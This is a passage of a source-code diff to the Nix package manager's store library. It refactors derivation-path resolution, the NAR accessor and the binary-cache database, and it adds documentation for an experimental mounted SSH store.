pool.enqueue(std::bind(doPath, DerivedPath::Built { inputDrv, inputNode.value })); + for (const auto & [outputName, childNode] : inputNode.childMap) + enqueueDerivedPaths( + make_ref(SingleDerivedPath::Built { inputDrv, outputName }), + childNode); + }; + auto mustBuildDrv = [&](const StorePath & drvPath, const Derivation & drv) { { auto state(state_.lock()); state->willBuild.insert(drvPath); } - for (auto & i : drv.inputDrvs) - pool.enqueue(std::bind(doPath, DerivedPath::Built { i.first, i.second })); + for (const auto & [inputDrv, inputNode] : drv.inputDrvs.map) { + enqueueDerivedPaths(makeConstantStorePathRef(inputDrv), inputNode); + } }; auto checkOutput = [&]( @@ -140,7 +156,13 @@ void Store::queryMissing(const std::vector & targets, if (drvState_->lock()->done) return; SubstitutablePathInfos infos; - querySubstitutablePathInfos({{outPath, getDerivationCA(*drv)}}, infos); + auto * cap = getDerivationCA(*drv); + querySubstitutablePathInfos({ + { + outPath, + cap ? std::optional { *cap } : std::nullopt, + }, + }, infos); if (infos.empty()) { drvState_->lock()->done = true; @@ -169,10 +191,18 @@ void Store::queryMissing(const std::vector & targets, std::visit(overloaded { [&](const DerivedPath::Built & bfd) { - if (!isValidPath(bfd.drvPath)) { + auto drvPathP = std::get_if(&*bfd.drvPath); + if (!drvPathP) { + // TODO make work in this case. + warn("Ignoring dynamic derivation %s while querying missing paths; not yet implemented", bfd.drvPath->to_string(*this)); + return; + } + auto & drvPath = drvPathP->path; + + if (!isValidPath(drvPath)) { // FIXME: we could try to substitute the derivation. auto state(state_.lock()); - state->unknown.insert(bfd.drvPath); + state->unknown.insert(drvPath); return; } @@ -180,25 +210,55 @@ void Store::queryMissing(const std::vector & targets, /* true for regular derivations, and CA derivations for which we have a trust mapping for all wanted outputs. */ auto knownOutputPaths = true; - for (auto & [outputName, pathOpt] : queryPartialDerivationOutputMap(bfd.drvPath)) { + for (auto & [outputName, pathOpt] : queryPartialDerivationOutputMap(drvPath)) { if (!pathOpt) { knownOutputPaths = false; break; } - if (wantOutput(outputName, bfd.outputs) && !isValidPath(*pathOpt)) + if (bfd.outputs.contains(outputName) && !isValidPath(*pathOpt)) invalid.insert(*pathOpt); } if (knownOutputPaths && invalid.empty()) return; - auto drv = make_ref(derivationFromPath(bfd.drvPath)); - ParsedDerivation parsedDrv(StorePath(bfd.drvPath), *drv); + auto drv = make_ref(derivationFromPath(drvPath)); + ParsedDerivation parsedDrv(StorePath(drvPath), *drv); + + if (!knownOutputPaths && settings.useSubstitutes && parsedDrv.substitutesAllowed()) { + experimentalFeatureSettings.require(Xp::CaDerivations); + + // If there are unknown output paths, attempt to find if the + // paths are known to substituters through a realisation. + auto outputHashes = staticOutputHashes(*this, *drv); + knownOutputPaths = true; + + for (auto [outputName, hash] : outputHashes) { + if (!bfd.outputs.contains(outputName)) + continue; + + bool found = false; + for (auto &sub : getDefaultSubstituters()) { + auto realisation = sub->queryRealisation({hash, outputName}); + if (!realisation) + continue; + found = true; + if (!isValidPath(realisation->outPath)) + invalid.insert(realisation->outPath); + break; + } + if (!found) { + // Some paths did not have a realisation, this must be built. + knownOutputPaths = false; + break; + } + } + } if (knownOutputPaths && settings.useSubstitutes && parsedDrv.substitutesAllowed()) { auto drvState = make_ref>(DrvState(invalid.size())); for (auto & output : invalid) - pool.enqueue(std::bind(checkOutput, bfd.drvPath, drv, output, drvState)); + pool.enqueue(std::bind(checkOutput, drvPath, drv, output, drvState)); } else - mustBuildDrv(bfd.drvPath, *drv); + mustBuildDrv(drvPath, *drv); }, [&](const DerivedPath::Opaque & bo) { @@ -273,32 +333,140 @@ std::map drvOutputReferences( std::map drvOutputReferences( Store & store, const Derivation & drv, - const StorePath & outputPath) + const StorePath & outputPath, + Store * evalStore_) { + auto & evalStore = evalStore_ ? *evalStore_ : store; + std::set inputRealisations; - for (const auto & [inputDrv, outputNames] : drv.inputDrvs) { - const auto outputHashes = - staticOutputHashes(store, store.readDerivation(inputDrv)); - for (const auto & outputName : outputNames) { - auto outputHash = get(outputHashes, outputName); - if (!outputHash) - throw Error( - "output '%s' of derivation '%s' isn't realised", outputName, - store.printStorePath(inputDrv)); - auto thisRealisation = store.queryRealisation( - DrvOutput{*outputHash, outputName}); - if (!thisRealisation) - throw Error( - "output '%s' of derivation '%s' isn't built", outputName, - store.printStorePath(inputDrv)); - inputRealisations.insert(*thisRealisation); + std::function::ChildNode &)> accumRealisations; + + accumRealisations = [&](const StorePath & inputDrv, const DerivedPathMap::ChildNode & inputNode) { + if (!inputNode.value.empty()) { + auto outputHashes = + staticOutputHashes(evalStore, evalStore.readDerivation(inputDrv)); + for (const auto & outputName : inputNode.value) { + auto outputHash = get(outputHashes, outputName); + if (!outputHash) + throw Error( + "output '%s' of derivation '%s' isn't realised", outputName, + store.printStorePath(inputDrv)); + auto thisRealisation = store.queryRealisation( + DrvOutput{*outputHash, outputName}); + if (!thisRealisation) + throw Error( + "output '%s' of derivation '%s' isn’t built", outputName, + store.printStorePath(inputDrv)); + inputRealisations.insert(*thisRealisation); + } } - } + if (!inputNode.value.empty()) { + auto d = makeConstantStorePathRef(inputDrv); + for (const auto & [outputName, childNode] : inputNode.childMap) { + SingleDerivedPath next = SingleDerivedPath::Built { d, outputName }; + accumRealisations( + // TODO deep resolutions for dynamic derivations, issue #8947, would go here. + resolveDerivedPath(store, next, evalStore_), + childNode); + } + } + }; + + for (const auto & [inputDrv, inputNode] : drv.inputDrvs.map) + accumRealisations(inputDrv, inputNode); auto info = store.queryPathInfo(outputPath); return drvOutputReferences(Realisation::closure(store, inputRealisations), info->references); } +OutputPathMap resolveDerivedPath(Store & store, const DerivedPath::Built & bfd, Store * evalStore_) +{ + auto drvPath = resolveDerivedPath(store, *bfd.drvPath, evalStore_); + + auto outputsOpt_ = store.queryPartialDerivationOutputMap(drvPath, evalStore_); + + auto outputsOpt = std::visit(overloaded { + [&](const OutputsSpec::All &) { + // Keep all outputs + return std::move(outputsOpt_); + }, + [&](const OutputsSpec::Names & names) { + // Get just those mentioned by name + std::map> outputsOpt; + for (auto & output : names) { + auto * pOutputPathOpt = get(outputsOpt_, output); + if (!pOutputPathOpt) + throw Error( + "the derivation '%s' doesn't have an output named '%s'", + bfd.drvPath->to_string(store), output); + outputsOpt.insert_or_assign(output, std::move(*pOutputPathOpt)); + } + return outputsOpt; + }, + }, bfd.outputs.raw); + + OutputPathMap outputs; + for (auto & [outputName, outputPathOpt] : outputsOpt) { + if (!outputPathOpt) + throw MissingRealisation(bfd.drvPath->to_string(store), outputName); + auto & outputPath = *outputPathOpt; + outputs.insert_or_assign(outputName, outputPath); + } + return outputs; +} + + +StorePath resolveDerivedPath(Store & store, const SingleDerivedPath & req, Store * evalStore_) +{ + auto & evalStore = evalStore_ ? *evalStore_ : store; + + return std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & bo) { + return bo.path; + }, + [&](const SingleDerivedPath::Built & bfd) { + auto drvPath = resolveDerivedPath(store, *bfd.drvPath, evalStore_); + auto outputPaths = evalStore.queryPartialDerivationOutputMap(drvPath, evalStore_); + if (outputPaths.count(bfd.output) == 0) + throw Error("derivation '%s' does not have an output named '%s'", + store.printStorePath(drvPath), bfd.output); + auto & optPath = outputPaths.at(bfd.output); + if (!optPath) + throw MissingRealisation(bfd.drvPath->to_string(store), bfd.output); + return *optPath; + }, + }, req.raw()); +} + + +OutputPathMap resolveDerivedPath(Store & store, const DerivedPath::Built & bfd) +{ + auto drvPath = resolveDerivedPath(store, *bfd.drvPath); + auto outputMap = store.queryDerivationOutputMap(drvPath); + auto outputsLeft = std::visit(overloaded { + [&](const OutputsSpec::All &) { + return StringSet {}; + }, + [&](const OutputsSpec::Names & names) { + return static_cast(names); + }, + }, bfd.outputs.raw); + for (auto iter = outputMap.begin(); iter != outputMap.end();) { + auto & outputName = iter->first; + if (bfd.outputs.contains(outputName)) { + outputsLeft.erase(outputName); + ++iter; + } else { + iter = outputMap.erase(iter); + } + } + if (!outputsLeft.empty()) + throw Error("derivation '%s' does not have an outputs %s", + store.printStorePath(drvPath), + concatStringsSep(", ", quoteStrings(std::get(bfd.outputs.raw)))); + return outputMap; +} + } diff --git a/src/libstore/mounted-ssh-store.md b/src/libstore/mounted-ssh-store.md new file mode 100644 index 000000000..1ebfe3081 --- /dev/null +++ b/src/libstore/mounted-ssh-store.md @@ -0,0 +1,18 @@ +R"( + +**Store URL format**: `mounted-ssh-ng://[username@]hostname` + +Experimental store type that allows full access to a Nix store on a remote machine, +and additionally requires that store be mounted in the local file system. + +The mounting of that store is not managed by Nix, and must by managed manually. +It could be accomplished with SSHFS or NFS, for example. + +The local file system is used to optimize certain operations. +For example, rather than serializing Nix archives and sending over the Nix channel, +we can directly access the file system data via the mount-point. + +The local file system is also used to make certain operations possible that wouldn't otherwise be. +For example, persistent GC roots can be created if they reside on the same file system as the remote store: +the remote side will create the symlinks necessary to avoid race conditions. +)" diff --git a/src/libstore/names.cc b/src/libstore/names.cc index 277aabf0f..c0e1b1022 100644 --- a/src/libstore/names.cc +++ b/src/libstore/names.cc @@ -94,7 +94,7 @@ static bool componentsLT(const std::string_view c1, const std::string_view c2) } -int compareVersions(const std::string_view v1, const std::string_view v2) +std::strong_ordering compareVersions(const std::string_view v1, const std::string_view v2) { auto p1 = v1.begin(); auto p2 = v2.begin(); @@ -102,11 +102,11 @@ int compareVersions(const std::string_view v1, const std::string_view v2) while (p1 != v1.end() || p2 != v2.end()) { auto c1 = nextComponent(p1, v1.end()); auto c2 = nextComponent(p2, v2.end()); - if (componentsLT(c1, c2)) return -1; - else if (componentsLT(c2, c1)) return 1; + if (componentsLT(c1, c2)) return std::strong_ordering::less; + else if (componentsLT(c2, c1)) return std::strong_ordering::greater; } - return 0; + return std::strong_ordering::equal; } diff --git a/src/libstore/names.hh b/src/libstore/names.hh index 3977fc6cc..a6909d545 100644 --- a/src/libstore/names.hh +++ b/src/libstore/names.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include @@ -29,7 +30,7 @@ typedef std::list DrvNames; std::string_view nextComponent(std::string_view::const_iterator & p, const std::string_view::const_iterator end); -int compareVersions(const std::string_view v1, const std::string_view v2); +std::strong_ordering compareVersions(const std::string_view v1, const std::string_view v2); DrvNames drvNamesFromArgs(const Strings & opArgs); } diff --git a/src/libstore/nar-accessor.cc b/src/libstore/nar-accessor.cc index 9a0003588..9a541bb77 100644 --- a/src/libstore/nar-accessor.cc +++ b/src/libstore/nar-accessor.cc @@ -3,7 +3,6 @@ #include #include -#include #include @@ -11,13 +10,7 @@ namespace nix { struct NarMember { - FSAccessor::Type type = FSAccessor::Type::tMissing; - - bool isExecutable = false; - - /* If this is a regular file, position of the contents of this - file in the NAR. */ - uint64_t start = 0, size = 0; + SourceAccessor::Stat stat; std::string target; @@ -25,7 +18,36 @@ struct NarMember std::map children; }; -struct NarAccessor : public FSAccessor +struct NarMemberConstructor : CreateRegularFileSink +{ +private: + + NarMember & narMember; + + uint64_t & pos; + +public: + + NarMemberConstructor(NarMember & nm, uint64_t & pos) + : narMember(nm), pos(pos) + { } + + void isExecutable() override + { + narMember.stat.isExecutable = true; + } + + void preallocateContents(uint64_t size) override + { + narMember.stat.fileSize = size; + narMember.stat.narOffset = pos; + } + + void operator () (std::string_view data) override + { } +}; + +struct NarAccessor : public SourceAccessor { std::optional nar; @@ -33,7 +55,7 @@ struct NarAccessor : public FSAccessor NarMember root; - struct NarIndexer : ParseSink, Source + struct NarIndexer : FileSystemObjectSink, Source { NarAccessor & acc; Source & source; @@ -48,54 +70,58 @@ struct NarAccessor : public FSAccessor : acc(acc), source(source) { } - void createMember(const Path & path, NarMember member) + NarMember & createMember(const CanonPath & path, NarMember member) { - size_t level = std::count(path.begin(), path.end(), '/'); + size_t level = 0; + for (auto _ : path) { + (void)_; + ++level; + } + while (parents.size() > level) parents.pop(); if (parents.empty()) { acc.root = std::move(member); parents.push(&acc.root); + return acc.root; } else { - if (parents.top()->type != FSAccessor::Type::tDirectory) + if (parents.top()->stat.type != Type::tDirectory) throw Error("NAR file missing parent directory of path '%s'", path); - auto result = parents.top()->children.emplace(baseNameOf(path), std::move(member)); - parents.push(&result.first->second); + auto result = parents.top()->children.emplace(*path.baseName(), std::move(member)); + auto & ref = result.first->second; + parents.push(&ref); + return ref; } } - void createDirectory(const Path & path) override + void createDirectory(const CanonPath & path) override { - createMember(path, {FSAccessor::Type::tDirectory, false, 0, 0}); + createMember(path, NarMember{ .stat = { + .type = Type::tDirectory, + .fileSize = 0, + .isExecutable = false, + .narOffset = 0 + } }); } - void createRegularFile(const Path & path) override + void createRegularFile(const CanonPath & path, std::function func) override { - createMember(path, {FSAccessor::Type::tRegular, false, 0, 0}); + auto & nm = createMember(path, NarMember{ .stat = { + .type = Type::tRegular, + .fileSize = 0, + .isExecutable = false, + .narOffset = 0 + } }); + NarMemberConstructor nmc { nm, pos }; + func(nmc); } - void closeRegularFile() override - { } - - void isExecutable() override - { - parents.top()->isExecutable = true; - } - - void preallocateContents(uint64_t size) override - { - assert(size <= std::numeric_limits::max()); - parents.top()->size = (uint64_t) size; - parents.top()->start = pos; - } - - void receiveContents(std::string_view data) override - { } - - void createSymlink(const Path & path, const std::string & target) override + void createSymlink(const CanonPath & path, const std::string & target) override { createMember(path, - NarMember{FSAccessor::Type::tSymlink, false, 0, 0, target}); + NarMember{ + .stat = {.type = Type::tSymlink}, + .target = target}); } size_t read(char * data, size_t len) override @@ -130,18 +156,19 @@ struct NarAccessor : public FSAccessor std::string type = v["type"]; if (type == "directory") { - member.type = FSAccessor::Type::tDirectory; - for (auto i = v["entries"].begin(); i != v["entries"].end(); ++i) { - std::string name = i.key(); - recurse(member.children[name], i.value()); + member.stat = {.type = Type::tDirectory}; + for (const auto &[name, function] : v["entries"].items()) { + recurse(member.children[name], function); } } else if (type == "regular") { - member.type = FSAccessor::Type::tRegular; - member.size = v["size"]; - member.isExecutable = v.value("executable", false); - member.start = v["narOffset"]; + member.stat = { + .type = Type::tRegular, + .fileSize = v["size"], + .isExecutable = v.value("executable", false), + .narOffset = v["narOffset"] + }; } else if (type == "symlink") { - member.type = FSAccessor::Type::tSymlink; + member.stat = {.type = Type::tSymlink}; member.target = v.value("target", ""); } else return; }; @@ -150,133 +177,122 @@ struct NarAccessor : public FSAccessor recurse(root, v); } - NarMember * find(const Path & path) + NarMember * find(const CanonPath & path) { - Path canon = path == "" ? "" : canonPath(path); NarMember * current = &root; - auto end = path.end(); - for (auto it = path.begin(); it != end; ) { - // because it != end, the remaining component is non-empty so we need - // a directory - if (current->type != FSAccessor::Type::tDirectory) return nullptr; - // skip slash (canonPath above ensures that this is always a slash) - assert(*it == '/'); - it += 1; - - // lookup current component - auto next = std::find(it, end, '/'); - auto child = current->children.find(std::string(it, next)); + for (const auto & i : path) { + if (current->stat.type != Type::tDirectory) return nullptr; + auto child = current->children.find(std::string(i)); if (child == current->children.end()) return nullptr; current = &child->second; - - it = next; } return current; } - NarMember & get(const Path & path) { + NarMember & get(const CanonPath & path) { auto result = find(path); - if (result == nullptr) + if (!result) throw Error("NAR file does not contain path '%1%'", path); return *result; } - Stat stat(const Path & path) override + std::optional maybeLstat(const CanonPath & path) override { auto i = find(path); - if (i == nullptr) - return {FSAccessor::Type::tMissing, 0, false}; - return {i->type, i->size, i->isExecutable, i->start}; + if (!i) + return std::nullopt; + return i->stat; } - StringSet readDirectory(const Path & path) override + DirEntries readDirectory(const CanonPath & path) override { auto i = get(path); - if (i.type != FSAccessor::Type::tDirectory) + if (i.stat.type != Type::tDirectory) throw Error("path '%1%' inside NAR file is not a directory", path); - StringSet res; - for (auto & child : i.children) - res.insert(child.first); + DirEntries res; + for (const auto & child : i.children) + res.insert_or_assign(child.first, std::nullopt); return res; } - std::string readFile(const Path & path, bool requireValidPath = true) override + std::string readFile(const CanonPath & path) override { auto i = get(path); - if (i.type != FSAccessor::Type::tRegular) + if (i.stat.type != Type::tRegular) throw Error("path '%1%' inside NAR file is not a regular file", path); - if (getNarBytes) return getNarBytes(i.start, i.size); + if (getNarBytes) return getNarBytes(*i.stat.narOffset, *i.stat.fileSize); assert(nar); - return std::string(*nar, i.start, i.size); + return std::string(*nar, *i.stat.narOffset, *i.stat.fileSize); } - std::string readLink(const Path & path) override + std::string readLink(const CanonPath & path) override { auto i = get(path); - if (i.type != FSAccessor::Type::tSymlink) + if (i.stat.type != Type::tSymlink) throw Error("path '%1%' inside NAR file is not a symlink", path); return i.target; } }; -ref makeNarAccessor(std::string && nar) +ref makeNarAccessor(std::string && nar) { return make_ref(std::move(nar)); } -ref makeNarAccessor(Source & source) +ref makeNarAccessor(Source & source) { return make_ref(source); } -ref makeLazyNarAccessor(const std::string & listing, +ref makeLazyNarAccessor(const std::string & listing, GetNarBytes getNarBytes) { return make_ref(listing, getNarBytes); } using nlohmann::json; -json listNar(ref accessor, const Path & path, bool recurse) +json listNar(ref accessor, const CanonPath & path, bool recurse) { - auto st = accessor->stat(path); + auto st = accessor->lstat(path); json obj = json::object(); switch (st.type) { - case FSAccessor::Type::tRegular: + case SourceAccessor::Type::tRegular: obj["type"] = "regular"; - obj["size"] = st.fileSize; + if (st.fileSize) + obj["size"] = *st.fileSize; if (st.isExecutable) obj["executable"] = true; - if (st.narOffset) - obj["narOffset"] = st.narOffset; + if (st.narOffset && *st.narOffset) + obj["narOffset"] = *st.narOffset; break; - case FSAccessor::Type::tDirectory: + case SourceAccessor::Type::tDirectory: obj["type"] = "directory"; { obj["entries"] = json::object(); json &res2 = obj["entries"]; - for (auto & name : accessor->readDirectory(path)) { + for (const auto & [name, type] : accessor->readDirectory(path)) { if (recurse) { - res2[name] = listNar(accessor, path + "/" + name, true); + res2[name] = listNar(accessor, path / name, true); } else res2[name] = json::object(); } } break; - case FSAccessor::Type::tSymlink: + case SourceAccessor::Type::tSymlink: obj["type"] = "symlink"; obj["target"] = accessor->readLink(path); break; - default: - throw Error("path '%s' does not exist in NAR", path); + case SourceAccessor::Type::tMisc: + assert(false); // cannot happen for NARs } return obj; } diff --git a/src/libstore/nar-accessor.hh b/src/libstore/nar-accessor.hh index 7d998ae0b..0043897c6 100644 --- a/src/libstore/nar-accessor.hh +++ b/src/libstore/nar-accessor.hh @@ -1,32 +1,40 @@ #pragma once +///@file + +#include "source-accessor.hh" #include #include -#include "fs-accessor.hh" namespace nix { struct Source; -/* Return an object that provides access to the contents of a NAR - file. */ -ref makeNarAccessor(std::string && nar); +/** + * Return an object that provides access to the contents of a NAR + * file. + */ +ref makeNarAccessor(std::string && nar); -ref makeNarAccessor(Source & source); +ref makeNarAccessor(Source & source); -/* Create a NAR accessor from a NAR listing (in the format produced by - listNar()). The callback getNarBytes(offset, length) is used by the - readFile() method of the accessor to get the contents of files - inside the NAR. */ -typedef std::function GetNarBytes; +/** + * Create a NAR accessor from a NAR listing (in the format produced by + * listNar()). The callback getNarBytes(offset, length) is used by the + * readFile() method of the accessor to get the contents of files + * inside the NAR. + */ +using GetNarBytes = std::function; -ref makeLazyNarAccessor( +ref makeLazyNarAccessor( const std::string & listing, GetNarBytes getNarBytes); -/* Write a JSON representation of the contents of a NAR (except file - contents). */ -nlohmann::json listNar(ref accessor, const Path & path, bool recurse); +/** + * Write a JSON representation of the contents of a NAR (except file + * contents). + */ +nlohmann::json listNar(ref accessor, const CanonPath & path, bool recurse); } diff --git a/src/libstore/nar-info-disk-cache.cc b/src/libstore/nar-info-disk-cache.cc index f4ea739b0..83e63794e 100644 --- a/src/libstore/nar-info-disk-cache.cc +++ b/src/libstore/nar-info-disk-cache.cc @@ -1,4 +1,5 @@ #include "nar-info-disk-cache.hh" +#include "users.hh" #include "sync.hh" #include "sqlite.hh" #include "globals.hh" @@ -6,6 +7,8 @@ #include #include +#include "strings.hh" + namespace nix { static const char * schema = R"sql( @@ -84,11 +87,10 @@ public: Sync _state; - NarInfoDiskCacheImpl() + NarInfoDiskCacheImpl(Path dbPath = getCacheDir() + "/nix/binary-cache-v6.sqlite") { auto state(_state.lock()); - Path dbPath = getCacheDir() + "/nix/binary-cache-v6.sqlite"; createDirs(dirOf(dbPath)); state->db = SQLite(dbPath); @@ -98,7 +100,7 @@ public: state->db.exec(schema); state->insertCache.create(state->db, - "insert or replace into BinaryCaches(url, timestamp, storeDir, wantMassQuery, priority) values (?, ?, ?, ?, ?)"); + "insert into BinaryCaches(url, timestamp, storeDir, wantMassQuery, priority) values (?1, ?2, ?3, ?4, ?5) on conflict (url) do update set timestamp = ?2, storeDir = ?3, wantMassQuery = ?4, priority = ?5 returning id;"); state->queryCache.create(state->db, "select id, storeDir, wantMassQuery, priority from BinaryCaches where url = ? and timestamp > ?"); @@ -162,42 +164,75 @@ public: Cache & getCache(State & state, const std::string & uri) { auto i = state.caches.find(uri); - if (i == state.caches.end()) abort(); + if (i == state.caches.end()) unreachable(); return i->second; } - void createCache(const std::string & uri, const Path & storeDir, bool wantMassQuery, int priority) override +private: + + std::optional queryCacheRaw(State & state, const std::string & uri) { - retrySQLite([&]() { + auto i = state.caches.find(uri); + if (i == state.caches.end()) { + auto queryCache(state.queryCache.use()(uri)(time(0) - cacheInfoTtl)); + if (!queryCache.next()) + return std::nullopt; + auto cache = Cache { + .id = (int) queryCache.getInt(0), + .storeDir = queryCache.getStr(1), + .wantMassQuery = queryCache.getInt(2) != 0, + .priority = (int) queryCache.getInt(3), + }; + state.caches.emplace(uri, cache); + } + return getCache(state, uri); + } + +public: + int createCache(const std::string & uri, const Path & storeDir, bool wantMassQuery, int priority) override + { + return retrySQLite([&]() { auto state(_state.lock()); + SQLiteTxn txn(state->db); - // FIXME: race + // To avoid the race, we have to check if maybe someone hasn't yet created + // the cache for this URI in the meantime. + auto cache(queryCacheRaw(*state, uri)); - state->insertCache.use()(uri)(time(0))(storeDir)(wantMassQuery)(priority).exec(); - assert(sqlite3_changes(state->db) == 1); - state->caches[uri] = Cache{(int) sqlite3_last_insert_rowid(state->db), storeDir, wantMassQuery, priority}; + if (cache) + return cache->id; + + Cache ret { + .id = -1, // set below + .storeDir = storeDir, + .wantMassQuery = wantMassQuery, + .priority = priority, + }; + + { + auto r(state->insertCache.use()(uri)(time(0))(storeDir)(wantMassQuery)(priority)); + if (!r.next()) { unreachable(); } + ret.id = (int) r.getInt(0); + } + + state->caches[uri] = ret; + + txn.commit(); + return ret.id; }); } - std::optional cacheExists(const std::string & uri) override + std::optional upToDateCacheExists(const std::string & uri) override { return retrySQLite>([&]() -> std::optional { auto state(_state.lock()); - - auto i = state->caches.find(uri); - if (i == state->caches.end()) { - auto queryCache(state->queryCache.use()(uri)(time(0) - cacheInfoTtl)); - if (!queryCache.next()) - return std::nullopt; - state->caches.emplace(uri, - Cache{(int) queryCache.getInt(0), queryCache.getStr(1), queryCache.getInt(2) != 0, (int) queryCache.getInt(3)}); - } - - auto & cache(getCache(*state, uri)); - + auto cache(queryCacheRaw(*state, uri)); + if (!cache) + return std::nullopt; return CacheInfo { - .wantMassQuery = cache.wantMassQuery, - .priority = cache.priority + .id = cache->id, + .wantMassQuery = cache->wantMassQuery, + .priority = cache->priority }; }); } @@ -241,7 +276,7 @@ public: narInfo->deriver = StorePath(queryNAR.getStr(9)); for (auto & sig : tokenizeString(queryNAR.getStr(10), " ")) narInfo->sigs.insert(sig); - narInfo->ca = parseContentAddressOpt(queryNAR.getStr(11)); + narInfo->ca = ContentAddress::parseOpt(queryNAR.getStr(11)); return {oValid, narInfo}; }); @@ -300,9 +335,9 @@ public: (std::string(info->path.name())) (narInfo ? narInfo->url : "", narInfo != 0) (narInfo ? narInfo->compression : "", narInfo != 0) - (narInfo && narInfo->fileHash ? narInfo->fileHash->to_string(Base32, true) : "", narInfo && narInfo->fileHash) + (narInfo && narInfo->fileHash ? narInfo->fileHash->to_string(HashFormat::Nix32, true) : "", narInfo && narInfo->fileHash) (narInfo ? narInfo->fileSize : 0, narInfo != 0 && narInfo->fileSize) - (info->narHash.to_string(Base32, true)) + (info->narHash.to_string(HashFormat::Nix32, true)) (info->narSize) (concatStringsSep(" ", info->shortRefs())) (info->deriver ? std::string(info->deriver->to_string()) : "", (bool) info->deriver) @@ -359,4 +394,9 @@ ref getNarInfoDiskCache() return cache; } +ref getTestNarInfoDiskCache(Path dbPath) +{ + return make_ref(dbPath); +} + } diff --git a/src/libstore/nar-info-disk-cache.hh b/src/libstore/nar-info-disk-cache.hh index 2dcaa76a4..bbd1d05d5 100644 --- a/src/libstore/nar-info-disk-cache.hh +++ b/src/libstore/nar-info-disk-cache.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "ref.hh" #include "nar-info.hh" @@ -13,16 +14,17 @@ public: virtual ~NarInfoDiskCache() { } - virtual void createCache(const std::string & uri, const Path & storeDir, + virtual int createCache(const std::string & uri, const Path & storeDir, bool wantMassQuery, int priority) = 0; struct CacheInfo { + int id; bool wantMassQuery; int priority; }; - virtual std::optional cacheExists(const std::string & uri) = 0; + virtual std::optional upToDateCacheExists(const std::string & uri) = 0; virtual std::pair> lookupNarInfo( const std::string & uri, const std::string & hashPart) = 0; @@ -41,8 +43,12 @@ public: const std::string & uri, const DrvOutput & id) = 0; }; -/* Return a singleton cache object that can be used concurrently by - multiple threads. */ +/** + * Return a singleton cache object that can be used concurrently by + * multiple threads. + */ ref getNarInfoDiskCache(); +ref getTestNarInfoDiskCache(Path dbPath); + } diff --git a/src/libstore/nar-info.cc b/src/libstore/nar-info.cc index 071d8355e..2442a7b09 100644 --- a/src/libstore/nar-info.cc +++ b/src/libstore/nar-info.cc @@ -1,21 +1,25 @@ #include "globals.hh" #include "nar-info.hh" #include "store-api.hh" +#include "strings.hh" namespace nix { NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & whence) : ValidPathInfo(StorePath(StorePath::dummy), Hash(Hash::dummy)) // FIXME: hack { - auto corrupt = [&]() { - return Error("NAR info file '%1%' is corrupt", whence); + unsigned line = 1; + + auto corrupt = [&](const char * reason) { + return Error("NAR info file '%1%' is corrupt: %2%", whence, + std::string(reason) + (line > 0 ? " at line " + std::to_string(line) : "")); }; auto parseHashField = [&](const std::string & s) { try { return Hash::parseAnyPrefixed(s); } catch (BadHash &) { - throw corrupt(); + throw corrupt("bad hash"); } }; @@ -26,12 +30,12 @@ NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & while (pos < s.size()) { size_t colon = s.find(':', pos); - if (colon == std::string::npos) throw corrupt(); + if (colon == s.npos) throw corrupt("expecting ':'"); std::string name(s, pos, colon - pos); size_t eol = s.find('\n', colon + 2); - if (eol == std::string::npos) throw corrupt(); + if (eol == s.npos) throw corrupt("expecting '\\n'"); std::string value(s, colon + 2, eol - colon - 2); @@ -47,7 +51,7 @@ NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & fileHash = parseHashField(value); else if (name == "FileSize") { auto n = string2Int(value); - if (!n) throw corrupt(); + if (!n) throw corrupt("invalid FileSize"); fileSize = *n; } else if (name == "NarHash") { @@ -56,12 +60,12 @@ NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & } else if (name == "NarSize") { auto n = string2Int(value); - if (!n) throw corrupt(); + if (!n) throw corrupt("invalid NarSize"); narSize = *n; } else if (name == "References") { auto refs = tokenizeString(value, " "); - if (!references.empty()) throw corrupt(); + if (!references.empty()) throw corrupt("extra References"); for (auto & r : refs) references.insert(StorePath(r)); } @@ -72,17 +76,26 @@ NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & else if (name == "Sig") sigs.insert(value); else if (name == "CA") { - if (ca) throw corrupt(); + if (ca) throw corrupt("extra CA"); // FIXME: allow blank ca or require skipping field? - ca = parseContentAddressOpt(value); + ca = ContentAddress::parseOpt(value); } pos = eol + 1; + line += 1; } if (compression == "") compression = "bzip2"; - if (!havePath || !haveNarHash || url.empty() || narSize == 0) throw corrupt(); + if (!havePath || !haveNarHash || url.empty() || narSize == 0) { + line = 0; // don't include line information in the error + throw corrupt( + !havePath ? "StorePath missing" : + !haveNarHash ? "NarHash missing" : + url.empty() ? "URL missing" : + narSize == 0 ? "NarSize missing or zero" + : "?"); + } } std::string NarInfo::to_string(const Store & store) const @@ -92,11 +105,11 @@ std::string NarInfo::to_string(const Store & store) const res += "URL: " + url + "\n"; assert(compression != ""); res += "Compression: " + compression + "\n"; - assert(fileHash && fileHash->type == htSHA256); - res += "FileHash: " + fileHash->to_string(Base32, true) + "\n"; + assert(fileHash && fileHash->algo == HashAlgorithm::SHA256); + res += "FileHash: " + fileHash->to_string(HashFormat::Nix32, true) + "\n"; res += "FileSize: " + std::to_string(fileSize) + "\n"; - assert(narHash.type == htSHA256); - res += "NarHash: " + narHash.to_string(Base32, true) + "\n"; + assert(narHash.algo == HashAlgorithm::SHA256); + res += "NarHash: " + narHash.to_string(HashFormat::Nix32, true) + "\n"; res += "NarSize: " + std::to_string(narSize) + "\n"; res += "References: " + concatStringsSep(" ", shortRefs()) + "\n"; @@ -113,4 +126,58 @@ std::string NarInfo::to_string(const Store & store) const return res; } +nlohmann::json NarInfo::toJSON( + const Store & store, + bool includeImpureInfo, + HashFormat hashFormat) const +{ + using nlohmann::json; + + auto jsonObject = ValidPathInfo::toJSON(store, includeImpureInfo, hashFormat); + + if (includeImpureInfo) { + if (!url.empty()) + jsonObject["url"] = url; + if (!compression.empty()) + jsonObject["compression"] = compression; + if (fileHash) + jsonObject["downloadHash"] = fileHash->to_string(hashFormat, true); + if (fileSize) + jsonObject["downloadSize"] = fileSize; + } + + return jsonObject; +} + +NarInfo NarInfo::fromJSON( + const Store & store, + const StorePath & path, + const nlohmann::json & json) +{ + using nlohmann::detail::value_t; + + NarInfo res { + ValidPathInfo { + path, + UnkeyedValidPathInfo::fromJSON(store, json), + } + }; + + if (json.contains("url")) + res.url = getString(valueAt(json, "url")); + + if (json.contains("compression")) + res.compression = 